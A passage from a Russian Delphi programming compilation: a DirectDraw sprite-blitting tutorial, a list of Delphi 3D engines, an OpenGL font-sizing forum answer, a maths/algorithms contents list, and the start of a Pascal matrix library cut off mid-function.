Для тех, кто интересуется, что это за слово такое "JEDI"– выберите в Delphi 5 пункт меню Help->About и наберите слово JEDI, удерживая нажатой клавишу Alt. Вы узнаете, что JEDI – это аббревиатура, расшифровывающаяся как Join Endeavor of Delphi Innovators. (на русский это можно перевести приблизительно – Совместные Усилия Дельфийских Новаторов или еще лучше - все для Delphi, все для победы) :-).

Звучит красиво, но нам-то что до этого? На самом деле нам до этого есть дело – в рамках проекта JEDI (кстати, некоммерческого и держащегося на энтузиазме, пусть и с официальным одобрением Borland), в рамках именно этого проекта были созданы заголовочные файлы DirectX для Delphi. Так скачаем же их! (http://www.delphi-jedi.org/DelphiGraphics/)

Итак, заголовочные фалы у нас есть. Более того – мы умеем инициализировать Direct Draw, создавать Surface'ы и загружать на них картинки. (Если Вы забыли как это делается – перечитайте первые две главы).

Наконец то мы приблизились к самому интересному. Спрайты. Анимация. Blitting.

Blitting -непереводимое на русский язык слово. Тоже кстати аббревиатура - bit block transfer – пересылка блоков бит. Благодаря этой пересылке, мы можем скопировать прямоугольную область из одной части Surface'а в другую или из одного Surface'а в другой. Такое копирование происходит пересылкой байт в видеопамяти, отсюда и название - bit block transfer. Да конечно, ничего удивительного в копировании прямоугольных участков Вы не видите – это можно и без DirectDraw сделать кучей способов… Стоп! Прежде чем Вы начнете перечислять эти способы – Blitting с использованием DirectDraw самый быстрый. Тем паче, что большинство современных видеоадаптеров поддерживают его на аппаратном уровне. Чувствуете, к чему я клоню? Стоит разобраться с Blitting'ом внимательнее.

Итак, для копирования прямоугольных участков интерфейс IDirectDrawSurface имеет два метода: IDirectDrawSurface4::Blt и IDirectDrawSurface4::BltFast. Как видно из названия второй быстрее – с него и начнем.

function BltFast(dwX: DWORD;
  dwY: DWORD;
  lpDDSrcSurface: IDirectDrawSurface4;
  lpSrcRect: PRect;
  dwTrans: DWORD): HResult;

Копирует прямоугольный участок из Surface'а-источника, задаваемого параметром lpDDSrcSurface. Первые два параметра метода – dwX и dwY – координаты верхнего левого угла прямоугольника на принимающем Surface'е - в эту точку будет скопирован прямоугольный участок, размеры которого задаются структурой типа TRect (параметр lpSrcRect типа PRect – указатель на TRect). (для тех, кто не знаком с типом TRect – познакомьтесь с ним в справке Delphi) Параметр dwTrans – набор флагов, о них чуть позже. Использовать BltFast можно, например, так:

// копируем прямоугольник, размер которого задается переменной
// Kvadratik из Surface'а AnotherSurface в PrimarySurface.
PrimarySurface.BltFast(10, 10, AnotherSurface, Kvadratik,
  DDBLTFAST_NOCOLORKEY or DDBLTFAST_WAIT);

Если вызвать этот метод, передав в качестве параметров dwX и dwY нулевые значения, а вместо указателя на ограничивающий прямоугольник lpSrcRect – nil, то будет скопирован весь Surface-источник.

Вторая функция

function Blt(lpDestRect: PRect;
  lpDDSrcSurface: IDirectDrawSurface4;
  lpSrcRect: PRect;
  dwFlags: DWORD;
  lpDDBltFx: PDDBltFX): HResult;

Здесь координаты принимающего (lpDestRect) и передающего (lpSrcRect) Surface'ов задаются с помощью структур TRect. Размеры передающего и принимающего прямоугольников могут быть не равны! Функция Blt выполнит масштабирование автоматически. Но возможности Blt этим не ограничиваются: можно использовать его для закрашивания областей экрана определенным цветом (dwFlags:=DDBLT_COLORFILL, lpDDBltFx.dwFillColor:= цвет), можно зеркально переворачивать копируемый прямоугольник по горизонтали или по вертикали (dwFlags:=DDBLT_DDFX, lpDDBltFx.dwDDFX:=DDBLTFX_MIRRORUPDOWN или DDBLTFX_MIRRORLEFTRIGHT), поворачивать его на 90, 180, 270 градусов (dwFlags:=DDBLT_DDFX, lpDDBltFx.dwDDFX:= DDBLTFX_ROTATE90 или DDBLTFX_ROTATE180 или DDBLTFX_ROTATE270), поворачивать на любой заданный угол (угол задается в 1/100-х градуса) (dwFlags:= DDBLT_ROTATIONANGLE, lpDDBltFx.dwRotationAngle:=угол поворота)…. и делать еще многое другое. За все эти удовольствия приходится расплачиваться быстродействием – Blt обладает многими возможностями, которых нет в BltFast, но работает чуть медленнее.

Кстати о скорости. Несмотря на потрясающую скорость Blitting-операций, использующих всю мощь аппаратного ускорения, может возникнуть ситуация, когда видеоадаптер еще не успел закончить пересылку одного блока байт, а наша программа уже просит его сделать другую. Что будет в таком случае? Катастрофа? Нет. Просто функция Blt или BltFast вернет код ошибки DDERR_WASSTILLDRAWING. Чтобы такого не происходило, можно указать Blitting-функциям, что им следует ждать, не возвращая управления до тех пор, пока видеоадаптер не выполнит операцию. Для этого при вызове функции Blt параметру dwFlags нужно присвоить значение DDBLT_WAIT, а при вызове BltFast - значение DDBLTFAST_WAIT параметру dwTrans.

Самое время рассказать, наконец, поподробнее о параметре dwTrans функции BltFast. Кроме флага, используемого для приостановки программы на время неготовности видеоадаптера, этот параметр используется для указания цветового ключа (Color Key).

Цветовой ключ – очень полезная штука, из разряда тех, которые следовало бы изобрести, если бы их не было. Цветовой ключ – это один или, несколько цветов, предназначенных для изображения "прозрачного" цвета. Пикселы окрашенные этим цветом не копируются при Blitting'е. Это позволяет создавать иллюзию непрямоугольного изображения, хотя при Blitting'е копируются только прямоугольные области. Делается это вот как: рисуем (или просим нарисовать кого-нибудь у кого это хорошо получается) какую-нибудь картинку, ограниченную прямоугольной областью. Все пикселы этой прямоугольной области, которые не относятся к картинке, закрашиваем каким-то особым цветом, который не использовался в самой картинке. Этот особый цвет назначаем в качестве цветового ключа – при Blitting'е он не будет копироваться, и вместо пикселов, окрашенных этим цветом, останутся пикселы фона – возникнет иллюзия прозрачности. Такая картинка, в прямоугольной области, заполненной цветовым ключом называется "спрайт".

Итак, параметр dwTrans функции BltFast может принимать следующие, кроме уже знакомого нам DDBLTFAST_WAIT, значения:

DDBLTFAST_NOCOLORKEY – цветовой ключ не используется;
DDBLTFAST_SRCCOLORKEY - используется цветовой ключ Surface'а –источника;
DDBLTFAST_DESTCOLORKEY - используется цветовой ключ Surface'а –приемника;
Аналогично, при использовании цвтового ключа с функцией Blt, ее параметру dwFlags присваивают значение DDBLT_KEYSRC (цветовой ключ источника) или DDBLT_KEYDEST (цветовой ключ приемника).
Для задания цветового ключа предназначена специальная структура TDDColorKey. Вот ее описание

TDDColorKey = packed record
  dwColorSpaceLowValue: DWORD;
  dwColorSpaceHighValue: DWORD;
end;

Как видите это запись, состоящая из двух полей типа DWORD, поле dwColorSpaceLowValue – означает нижнюю границу диапазона цветов, который используется в качестве цветового ключа, dwColorSpaceHighValue - верхнюю границу диапазона цветов.

Пример задания цветового ключа:

{для 8 - битового палитрового режима}
dwColorSpaceLowValue := 26;
dwColorSpaceHighValue := 26;
// 26 - ой элемент палитры будет использоваться как цветовой ключ.

{для 24 - битового безпалитрового режима}
dwColorSpaceLowValue = RGB(255, 128, 128);
dwColorSpaceHighValue = RGB(255, 128, 128);
// Цвет RGB(255, 128, 128) – будет считаться прозрачным.

Естественно, для Blitting'а спрайт должен находится на каком-то Surface. А у Surface'а для указания цветового ключа есть специальный метод: IDirectDrawSurface4.SetColorKey, который принимает в качестве параметра указатель на структуру типа TDDColorKey, описывающую цветовой ключ.

Итак, с помощью Blitting'а можно вывести на экран спрайт. Можно перемещать его по экрану, каждый раз восстанавливая фон, который был под спрайтом и выводя спрайт в соседнее место. А что если не просто перемещать спрайт, а сделать так, чтобы при перемещении сама картинка спрайта менялась? Так можно получить анимацию, бегущую лошадь, например. Для этого при каждом Blitting'е нужно выводить не одну и ту же картинку спрайта, а картинку следующей фазы движения, заставляя, например, ту же лошадь перебирать ногами. Естественно для этого нужно заранее нарисовать картинку со всеми фазами движения и загрузить ее на какой-то Surface, выводя с этого Surface'а при каждой итерации только определенную часть картинки, соответствующую текущей фазе анимации. А если анимированных спрайтов не один, а много? Алгоритм работы программы в этом случаем может быть таков:

Алгоритм 1.

Подготовить два Surface'а – Primary (видимый на экране) и BackBuffer – они будут учавствовать во flip-цепочке (см. первую главу). Кроме того, понадобятся Surface'ы для хранения фонового изображения и для хранения всех изображений всех спрайтов. Загрузить на Surface'ы соответствующие изображения (см. вторую главу).
Занести в BackBuffer-Surface изображение фоновой картинки, выполнив BltFast с соответствующего Surface'а (тем самым удалив на нем спрайты если они там были).
Занести в BackBuffer-Surface изображения всех спрайтов, поверх картинки фона, используя цветовые ключи, каждый в соответствующие координаты, и каждый в соответствующей фазе движения. Это можно сделать либо функцией BltFast либо функцией Blt.
Выполнить Flip. Очередной кадр анимации появится на экране. Подождать некоторое время (если необходимо) и повторить с шага 2.
Этот примерный алгоритм можно усовершенствовать, ведь на шаге 2 перерисовывается вся картинка фона, можно, зная координаты всех спрайтов, перерисовывать только ту часть фоновой картинки, на которой находятся спрайты, требующие перемещения.

Пожалуй, пришло время попробовать все это на практике. Посмотрите на мой пример (DDrawPrimer3.zip 80K ). Программа-пример инициализирует DirectDraw, создает три Surface'а, два размером 640Х480 (т.е. на весь экран) (FPrimarySurface и FPictureSurface), и один маленький (FSpriteSurface), для хранения изображения спрайта, и загружает на них соответствующие картинки, на FPrimarySurface и FPictureSurface – изображение фона, а на FSpriteSurface – изображения спрайта. В этом нет ничего нового, с этим Вы уже познакомились в первых двух главах. Вы можете открыть изображение из файла Sprite.bmp, которое загружается на FSpriteSurface и убедится, что там находятся изображения для всех фаз анимации спрайта (я пытался нарисовать что-то вроде жучка, перебирающего ногами, но похоже получилось нечто, больше смахивающее на муравья). В моем примере для простоты, я несколько отошел от Алгоритма 1 – вместо рисования на BackBuffer'e c последующим вызовом функции Flip я рисую непосредственно на главном, видимом Surface. Это может привести к небольшому миганию спрайта при перерисовке, но я думаю, в нашем примере это не так уж и существенно – мне не хотелось его слишком усложнять.

В каждой итерации на PrimarySurface сначала выводится фоновая картинка, тем самым стирается старое изображения спрайта, а затем новое изображение спрайта (на котором жучок уже чуть-чуть сдвинул лапки) выводится в новые координаты. Просмотрите текст программы, она, на мой взгляд, снабжена достаточным количеством комментариев. Вы можете несколько модифицировать мою программу, обновляя каждый раз не всю фоновую картинку, а только прямоугольный участок, на котором находится изображение спрайта, которое нужно стереть. Попробуйте также выводить не одно изображение спрайта, а несколько, двигая их в разных направлениях.

Если Вы хорошо знакомы с объектно-ориентированным подходом в программировании, Вы, безусловно, подвергнете Алгоритм 1 беспощадной (и справедливой) критике. В самом деле, почему бы не создать специальный класс спрайта, который сам бы перерисовывал себя при каждой итерации, зная свои старые и новые координаты. Можно было бы снабдить этот класс методами, автоматически меняющими картинку спрайта при анимации, регулирующими скорость анимации и т.п. Что ж, это очень неплохая идея. Я надеюсь рассказанная мной информация послужит Вам подспорьем для создания чего-то подобного. Впрочем можно воспользоваться и каким-либо готовым спрайтовым "движком", например тем, что входит в состав набора компонент DelphiX. Спрайтовый Engine от Hiroyuki Hori очень неплох. Примеры его использования входят в поставку DelphiX – они находятся в каталогах \Samples\Sprite\Basic и \Samples\Sprite\Shoot.

На этом я пока заканчиваю рассказ о DirectDraw – присылайте свои предложения и замечания: aziz@telebot.com или error@softhome.net.

Автор: Азиз (JINX)

Взято с http://delphiworld.narod.ru


3d engines для Дельфи

3DEL: Delphi

3D Engines List
Delphi

This list contains 9 rendering engines written in/for Delphi .

Texture-mapping Engines
23.03.1999 3D TT 01.03.1999
3D TT is a 3D game engine for a game like Transport Tycoon for Windows from Peter Dobrovka ( dobrovka@hkn.de ) and WAY-X (a group of hobby programmers).
  • Based on OpenGL
  • Multitextured landscape (without shading)
  • Perspective and isometric view
  • Large maps (1024x1024)
  • 3D Sprites
  • Moving objects (esp. trains)
  • Integrated editor
  • Written in Delphi Pascal
More information, screenshots and a demo can be found on the (german) WAY-X Homepage under 3DTT (click one of the four icons in the top frame to view screenshots etc).

14.01.1999 3D API Bindings for Delphi 14.01.1999
Erik Unger manages a site for 3D API Bindings for Delphi:
  • Support for DirectX 6.0 for Delphi 2, 3 and 4 (Erik Unger )
  • Support for OpenGL 1.1 ( Mike Lischke )
  • Support for Glide 2.43 (Erik Unger and Eric Nowinski)
More information and the source can be found on the Delphi Graphics Homepage.

20.11.1998 TGMP 01.04.1997
TGMP is a 3D graphics engine for PCs using DELPHI by Peter Dove (peterd@graphicalmagick.com) and Don Peer (dpeer@mgl.ca).
  • Shaded linear texture mapping.
  • Gouraud shading and wireframe rendering.
  • Z sorting.
  • 16 bit color support for Windows 95.
  • Object Pascal / Delphi 2 source with good comments.
  • A longer text document describes the techniques used.
The source files can be found at the Delphi Informat 1997 File Library under the name DI9704DP.ZIP.

03.11.1997 OpenGL Component for Delphi 07.10.1997
OGLCFD are Delphi 3.0 VCL components providing an object oriented interface to the OpenGL API for Windows 95 and Windows NT. The OGLCFD is distributed by SignSoft GmbH.
  • Simple API wrapper around OpenGL, the standard OpenGL calls are also awailable.
  • OpenGL view
  • Cameras
  • Camera controllers
  • Light sources
  • Materials
  • Textures
  • 3D objects
More information, screenshots and a demo can be found on the OpenGL Component for Delphi Homepage or the german OpenGL Component for Delphi Homepage

08.04.1997 TGMP V2 08.04.1997
TGMP V2 is a commercial real-time rendering system for PCs written in Delphi 2.0 from Graphical Magick Productions Ltd, written by Peter Dove (peterd@graphicalmagick.com).
  • Shaded linear texture mapping.
  • Gouraud and flat shading, wireframe and point rendering.
  • Z-buffer rendering.
  • Uses DirectX 3 for rendering.
  • BMP and PPM texture file support.
  • Cylindrical and spherical texture wrapping.
  • Loads DirectX X format, convertor available for 3DS to X .
  • Written in Object Pascal / Delphi 2 (also the api).
More information and a demo can be found on the TGMP V2 Homepage.

16.07.1996 Convex Renderer in 3D 16.07.1996
The CR3D is a 3D graphics engine for Delphi 2.0 from Romesh (prakash@earthlink.net).
  • Support for DirectDraw or WinG under Windows 95 / NT 4.0.
  • 8 and 16-bit color mode.
  • Linear texture mapping.
  • Flat shading.
  • Z-buffer rendering.
  • 3DS and PLG file reader.
More information and a beta version on the CR3D Homepage.

Gouraud-shading Engines
12.03.1998 MegaGraph Graphics Library 01.01.1995
The MGL is a 3D graphics library for PCs from SciTech.
  • Flat and gouraud shading.
  • Support for DOS, Windows 3.1 / 95 / NT.
  • SVGA support.
  • BSP sorting and zbuffer rendering
  • 2D and 3D functions.
  • 3D modeling system.
  • Written in C++ and ASM.
  • Support for Borland C++, Watcom C++, Delphi, Visual C++.
  • Support for DirectDraw acceleration functions.
  • Support for OpenGL for Windows ( Microsoft, Silicon Graphics and Mesa ) API within the MGL framework.
  • Support for stereo LC shutter glasses (requires hardware stereo support)
More information and source can be found on the MGL Homepage.

Doom/Wolfenstein Engines
09.04.1999 BSP 15.08.1997
BSP is a doom level viewer for PCs from Ivailo Belchev (ivob@geocities.com ) .
  • Non orthogonal walls.
  • Floor and ceiling texture mapping.
  • Depthcueing.
  • C++ / ASM source.
The demo and source can be found on the Homepage of Ivailo Belchev .
Paul Toth has made two pascal versions of the BSP engine (for Delphi 2+ and BP7) that can be found on the Mysoft Homepage.

02.05.1997 4DX 06.07.1995
The 4DX Rendering Engine is a commercial doom/heretic game engine from Jaimi McEntire (jaimimc@aol.com) from Eldermage Corp.
  • Animated sky mapping.
  • Non rectangular walls with different height.
  • Looking up/down is done via y-shearing (as in Heretic, Dark Forces etc).
  • Animated sprite objects.
  • Transparent textures.
  • Interactive level and texture editor.
  • 2D effects like snow.
  • Sound support.
  • DOS and Windows libraries available.
  • 4DX is a C++ Library and requires Watcom C++ v 10.0, 4DX is fully 32bit.
  • Doom WAD file importer.
  • Available as Delphi 2.0 VCL, as ActiveX control for Visual Basic, as Linkable Library for Visual C++ or as DLL.
  • Map editor.
More information and a demo can be found on the Eldermage Homepage.
An older demo can be found on x2ftp.oulu.fi . More info in the 4DX Readme.

All the 3D Engine.de pages are © by Cristian Yaming
Источник: http://www.3dengines.de/lang_dp.html
Взято из http://forum.sources.ru


OpenGL: Каким обpазом выбиpать pазмеp шpифта

OpneGL: Каким обpазом выбиpать pазмеp шpифта, т.к. все мои стpадания по выбоpy паpаметpов шpифта в CreateFont() никак не отpажались на его pазмеpе

Все что я пpидyмал, это юзать glScale(), но в этом слyчае полyчаем плохое качество (по сpавнению с той-же Воpдой) пpи малом pазмеpе символов. Вот часть работающего примера на Си (переведенного мною на Паскаль (АА)).

procedure GLSetupRC( pData: Pointer )
//void GLSetupRC(void *pData)
//{
var
//  HDC hDC;
hDC: HDC;
//  HFONT hFont;
hFont: HFONT;
//  GLYPHMETRICSFLOAT agmf[128];
agmf: array [0..127] of GLYPHMETRICSFLOAT;
//  LOGFONT logfont;
logfont: LOGFONT;

begin

 logfont.lfHeight := -10;
 logfont.lfWidth := 0;
 logfont.lfEscapement := 0;
 logfont.lfOrientation := 0;
 logfont.lfWeight := FW_BOLD;
 logfont.lfItalic := FALSE;
 logfont.lfUnderline := FALSE;
 logfont.lfStrikeOut := FALSE;
 logfont.lfCharSet := ANSI_CHARSET;
 logfont.lfOutPrecision := OUT_DEFAULT_PRECIS;
 logfont.lfClipPrecision := CLIP_DEFAULT_PRECIS;
 logfont.lfQuality := DEFAULT_QUALITY;
 logfont.lfPitchAndFamily := DEFAULT_PITCH;
 //strcpy(logfont.lfFaceName,"Arial");
//  strcpy(logfont.lfFaceName,"Decor");
 StrPCopy( logfont.lfFaceName, 'Decor' );

 glDepthFunc(GL_LESS);
 glEnable(GL_DEPTH_TEST);  // Hidden surface removal
 glFrontFace(GL_CCW);      // Counter clock-wise polygons face out
 glEnable(GL_CULL_FACE);   // Do not calculate insides
 glShadeModel(GL_SMOOTH);  // Smooth shading
 glEnable(GL_AUTO_NORMAL);
 glEnable(GL_NORMALIZE);
 glEnable(GL_COLOR_MATERIAL);

 glClearColor(0.0, 0.0, 0.0, 1.0 );

 glEnable(GL_LIGHTING);
 glLightfv(GL_LIGHT0,GL_AMBIENT,ambientLight);
 glLightfv(GL_LIGHT0,GL_DIFFUSE,diffuseLight);
 glLightfv(GL_LIGHT0,GL_SPECULAR,specular);
 glLightfv(GL_LIGHT0,GL_POSITION,lightPos);
 glEnable(GL_LIGHT0);

 glColorMaterial(GL_FRONT, GL_AMBIENT_AND_DIFFUSE);

 glMaterialfv(GL_FRONT, GL_SPECULAR,specular);
 glMateriali(GL_FRONT,GL_SHININESS,100);

 // Blue 3D Text
 glRGB(0, 0, 255);

 // Select the font into the DC
 hDC := (HDC)pData;
//  hFont = CreateFontIndirect(&logfont);
 hFont := CreateFontIndirect( Addr(logfont) );
 SelectObject (hDC, hFont);

 //create display lists for glyphs 0 through 255 with 0.3 extrusion
 // and default deviation. The display list numbering starts at 1000
 // (it could be any number).

//  if(!wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3,
//                            WGL_FONT_POLYGONS, agmf))
 if not wglUseFontOutlines(hDC, 0, 128, 1000, 0., 0.3,

//>                                         ``` - это тебе поможет
//> Выводить текст можно в любым масштабе

                           WGL_FONT_POLYGONS, agmf) then

    Windows.MessageBox(nil,'Could not create Font Outlines',
                    'Error',MB_OK or MB_ICONSTOP);

 // Delete the font now that we are done

 DeleteObject(hFont);
//}
end;

// void GLRenderScene(void *pData)
procedure GLRenderScene(pData: Pointer);
begin
 (*  ...  *)

 // Draw 3D text
 glListBase(1000);
 glPushMatrix();
 // Set up transformation to draw the string.
 glTranslatef(-35.0, 0.0, -5.0);
 glScalef(60.0, 60.0, 60.0);
 glCallLists(3, GL_UNSIGNED_BYTE, 'Decor');
 glPopMatrix();  // Clear the window with current clearing color

 (* ... *)
end;

Автор: Garik Pozdeev (2:5021/15.9)
Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Математика, алгоритмы

Cодержание раздела:

Работа с матрицами и векторами
· Матрицы в Delphi
· Как инвертировать матрицу?
· Как заменить строку в матрице
· Основы 3D математики - Векторные и матричные преобразования

Контрольные суммы и шифрование, проверка контрольных сумм
· Пример вычисления контрольной суммы (CRC32)
· Base64 кодирование
· Как вычислить CRC-32 для файла?
· Как вычислить CRC (контрольную сумму) для файла?
· Как проверить правильность номера кредитной карточки?
· Как проверить правильность International Bank Account Number?
· Пример шифрования данных
· Простейший алгоритм шифрования строки
· Как проверить правильность штрих-кода?
· UUE кодирование
· Алгоритм шифрования MD5

Арифметика, системы счисления, комплексные числа
· Работа с очень большими числами
· Как найти наибольший общий делитель?
· Как работать с комплексными числами?
· Преобразование числа в двоичную запись
· Как посчитать факториал?
· Конвертация римских цифр в арабские
· Конвертация арабских цифр в римские
· Как представить число в другой системе счисления?
· Как проверить, является ли число простым?
· Функция вычисления степени
· Корректная функция возведения в степень
· FFT аглоритм

Алгоритмы работы с графикой
· Как нарисовать кривую Безье?
· Как нарисовать график функции?
· Как нарисовать фрактал?
· Как определить лежит ли точка внутри полигона?
· Нахождение угла между радиус вектором и осью OX
· Алгоритм поворота изображения
· Поиск пересечений графика с осью OX
· RGB --> CMYK
· CMYK --> RGB
· Вращение объектов
· Алгоритм градиентной заливки
· Алгоритмы потухания текста и обратного ему эффекта
· Размыть изображение New!
· Rotate a 2D Point New!
· Rotate a 3D Point around another 3D Point New!
· Найти центр треугольника New!
· Find the convex hull of 2D points? New!
· Найти точку пересечения прямых New!
· Draw a polygon with Gouraud shading? New!
· Detect simple collision and transparency New!
· Вращение изображения New!
· За какое время было создано изображение New!

Статистика и теория вероятности
Как получить неповторяющиеся случайные числа?

Сортировка
· Сортировка связанного списка
· Алгоритмы сортировки

Как вычислить математическое выражение Updated!
Как посчитать возраст человека?
Алгоритм переноса русского текста по слогам?
Вычисление интеграла
Элементы спектрального анализа
Быстрое сравнение памяти
Как сравнить быстродействие алгоритмов New!
Методы компрессии/декомпрессии New!
Числа Фибоначчи New!
Огромные числа New!
Алгоритм поиска всех уникальных слов в файле New!
Алгоритмы теории графов New!


Работа с матрицами и векторами

Cодержание раздела:

Матрицы в Delphi
Как инвертировать матрицу?
Как заменить строку в матрице
Основы 3D математики - Векторные и матричные преобразования


Матрицы в Delphi

Автор: Andrew M. Omutov

Уважаемые сограждане. В ответ на вопросы Круглого Стола, в основном, от собратьев студентов, публикую алгоритмы матричного исчисления. В них нет ничего сложного, все базируется на функциях стандартного Borland Pascal еще версии 7.0.

Я понимаю, что уровень подготовки наших преподавателей весьма отстает не то, что от нынешних технологий, но даже и от весьма более ранних, но все-таки попробую помочь собратьям "по-несчастью".... :o)))

Перечень функций этой библиотеки:

Unit Matrix;

interface

type
   MatrixPtr = ^MatrixRec;
   MatrixRec = record
     MatrixRow   : byte;
     MatrixCol   : byte;
     MatrixArray : pointer;
   end;
   MatrixElement = real;

(* Функция возвращает целочисленную степень *)
function IntPower(X,n : integer) : integer;

(* Функция создает квадратную матрицу *)
function  CreateSquareMatrix(Size : byte) : MatrixPtr;

(* Функция создает прямоугольную матрицу *)
function  CreateMatrix(Row,Col : byte) : MatrixPtr;

(* Функция дублирует матрицу *)
function  CloneMatrix(MPtr : MatrixPtr) : MatrixPtr;

(* Функция удаляет матрицу и возвращает TRUE в случае удачи *)
function  DeleteMatrix(var MPtr : MatrixPtr) : boolean;

(* Функция заполняет матрицу указанным числом *)
function  FillMatrix(MPtr : MatrixPtr;Value : MatrixElement) : boolean;

(* Функция удаляет матрицу MPtr1 и присваивает ей значение MPtr2 *)
function  AssignMatrix(var MPtr1 : MatrixPtr;MPtr2 : MatrixPtr) : MatrixPtr;

(* Функция отображает матрицу на консоль *)
function  DisplayMatrix(MPtr : MatrixPtr;_Int,_Frac : byte) : boolean;

(* Функция возвращает TRUE, если матрица 1x1 *)
function  IsSingleMatrix(MPtr : MatrixPtr) : boolean;

(* Функция возвращает TRUE, если матрица квадратная *)
function  IsSquareMatrix(MPtr : MatrixPtr) : boolean;

(* Функция возвращает количество строк матрицы *)
function  GetMatrixRow(MPtr : MatrixPtr) : byte;

(* Функция возвращает количество столбцов матрицы *)
function  GetMatrixCol(MPtr : MatrixPtr) : byte;

(* Процедура устанавливает элемент матрицы *)
procedure SetMatrixElement(MPtr : MatrixPtr;Row,Col : byte;Value : MatrixElement);

(* Функция возвращает элемент матрицы *)
function  GetMatrixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;

(* Функция исключает векторы из матрицы *)
function  ExcludeVectorFromMatrix(MPtr : MatrixPtr;Row,Col : byte) : MatrixPtr;

(* Функция заменяет строку(столбец) матрицы вектором *)
function  SetVectorIntoMatrix(MPtr,VPtr : MatrixPtr;_Pos : byte) : MatrixPtr;

(* Функция возвращает детерминант матрицы *)
function  DetMatrix(MPtr : MatrixPtr) : MatrixElement;

(* Функция возвращает детерминант треугольной матрицы *)
function  DetTriangularMatrix(MPtr : MatrixPtr) : MatrixElement;

(* Функция возвращает алгебраическое дополнение элемента матрицы *)
function  AppendixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;

(* Функция создает матрицу алгебраических дополнений элементов матрицы *)
function  CreateAppendixMatrix(MPtr : MatrixPtr) : MatrixPtr;

(* Функция транспонирует матрицу *)
function TransponeMatrix(MPtr : MatrixPtr) : MatrixPtr;

(* Функция возвращает обратную матрицу *)
function ReverseMatrix(MPtr : MatrixPtr) : MatrixPtr;

(* Функция умножает матрицу на число *)
function MultipleMatrixOnNumber(MPtr : MatrixPtr;Number : MatrixElement) : MatrixPtr;

(* Функция умножает матрицу на матрицу *)
function MultipleMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;

(* Функция суммирует две матрицы *)
function AddMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;

(* Функция вычитает из первой матрицы вторую *)
function SubMatrixOnMatrix(MPtr1,MPtr2 : MatrixPtr) : MatrixPtr;

(* Функция решает систему методом Гаусса и возвращает LU-матрицы *)
(* Результат функции - вектор-столбец решений                    *)

function GausseMethodMatrix(MPtr,VPtr : MatrixPtr;var LPtr,UPtr,BPtr : MatrixPtr) : MatrixPtr;

implementation

function IntPower(X,n : integer) : integer;
var
  Res,i : integer;
begin
  if n < 1 then IntPower:= 0
  else begin
    Res:= X;
    for i:=1 to n-1 do Res:= Res*X;
    IntPower:= Res;
  end;
end;

function CreateSquareMatrix(Size : byte) : MatrixPtr;
var
  TempPtr : MatrixPtr;
begin
  TempPtr:= nil;
  GetMem(TempPtr,SizeOf(MatrixRec));
  if TempPtr = nil then begin
    CreateSquareMatrix:= nil;
    Exit;
  end;
  with TempPtr^ do begin
    MatrixRow:= Size;
    MatrixCol:= Size;
    MatrixArray:= nil;
    GetMem(MatrixArray,Size*Size*SizeOf(MatrixElement));
    if MatrixArray = nil then begin
      FreeMem(TempPtr,SizeOf(MatrixRec));
      CreateSquareMatrix:= nil;
      Exit;
    end;
  end;
  FillMatrix(TempPtr,0);
  CreateSquareMatrix:= TempPtr;
end;

function CreateMatrix(Row,Col : byte) : MatrixPtr;
var
  TempPtr : MatrixPtr;
begin
  TempPtr:= nil;
  GetMem(TempPtr,SizeOf(MatrixRec));
  if TempPtr = nil then begin
    CreateMatrix:= nil;
    Exit;
  end;
  with TempPtr^ do begin
    MatrixRow:= Row;
    MatrixCol:= Col;
    MatrixArray:= nil;
    GetMem(MatrixArray,Row*Col*SizeOf(MatrixElement));
    if MatrixArray = nil then begin
      FreeMem(TempPtr,SizeOf(MatrixRec));
      CreateMatrix:= nil;
      Exit;
    end;
  end;
  FillMatrix(TempPtr,0);
  CreateMatrix:= TempPtr;
end;

function DeleteMatrix(var MPtr : MatrixPtr) : boolean;
begin
  if MPtr = nil then DeleteMatrix:= FALSE
  else with MPtr^ do begin
    if MatrixArray <> nil then
      FreeMem(MatrixArray,MatrixRow*MatrixCol*SizeOf(MatrixElement));
    FreeMem(MPtr,SizeOf(MatrixRec));
    MPtr:= nil;
    DeleteMatrix:= TRUE;
  end;
end;

function CloneMatrix(MPtr : MatrixPtr) : MatrixPtr;
var
  TempPtr : MatrixPtr;
  i,j     : byte;
begin
  if MPtr = nil then CloneMatrix:= nil
  else with MPtr^ do begin
    TempPtr:= CreateMatrix(MPtr^.MatrixRow,MPtr^.MatrixCol);
    if TempPtr <> nil then begin
      for i:= 1 to MatrixRow do
        for j:= 1 to MatrixCol do
          SetMatrixElement(TempPtr,i,j,GetMatrixElement(MPtr,i,j));
      CloneMatrix:= TempPtr;
    end else CloneMatrix:= nil;
  end;
end;

function FillMatrix(MPtr : MatrixPtr;Value : MatrixElement) : boolean;
var
  i,j : byte;
begin
  if MPtr = nil then FillMatrix:= FALSE
  else with MPtr^ do begin
    for i:= 1 to MatrixRow do
      for j:= 1 to MatrixCol do
        SetMatrixElement(MPtr,i,j,Value);
    FillMatrix:= TRUE;
  end;
end;

function AssignMatrix(var MPtr1 : MatrixPtr;MPtr2 : MatrixPtr) : MatrixPtr;
begin
  DeleteMatrix(MPtr1);
  MPtr1:= MPtr2;
  AssignMatrix:= MPtr1;
end;

function DisplayMatrix(MPtr : MatrixPtr;_Int,_Frac : byte) : boolean;
var
  i,j : byte;
begin
  if MPtr = nil then DisplayMatrix:= FALSE
  else with MPtr^ do begin
    for i:= 1 to MatrixRow do begin
      for j:= 1 to MatrixCol do
        write(GetMatrixElement(MPtr,i,j) : _Int : _Frac);
      writeln;
    end;
    DisplayMatrix:= TRUE;
  end;
end;

function IsSingleMatrix(MPtr : MatrixPtr) : boolean;
begin
  if MPtr <> nil then with MPtr^ do begin
    if (MatrixRow = 1) and (MatrixCol = 1) then
      IsSingleMatrix:= TRUE
    else IsSingleMatrix:= FALSE;
  end else IsSingleMatrix:= FALSE;
end;

function IsSquareMatrix(MPtr : MatrixPtr) : boolean;
begin
  if MPtr <> nil then with MPtr^ do begin
    if MatrixRow = MatrixCol then
      IsSquareMatrix:= TRUE
    else IsSquareMatrix:= FALSE;
  end else IsSquareMatrix:= FALSE;
end;

function GetMatrixRow(MPtr : MatrixPtr) : byte;
begin
  if MPtr <> nil then GetMatrixRow:= MPtr^.MatrixRow
  else GetMatrixRow:= 0;
end;

function GetMatrixCol(MPtr : MatrixPtr) : byte;
begin
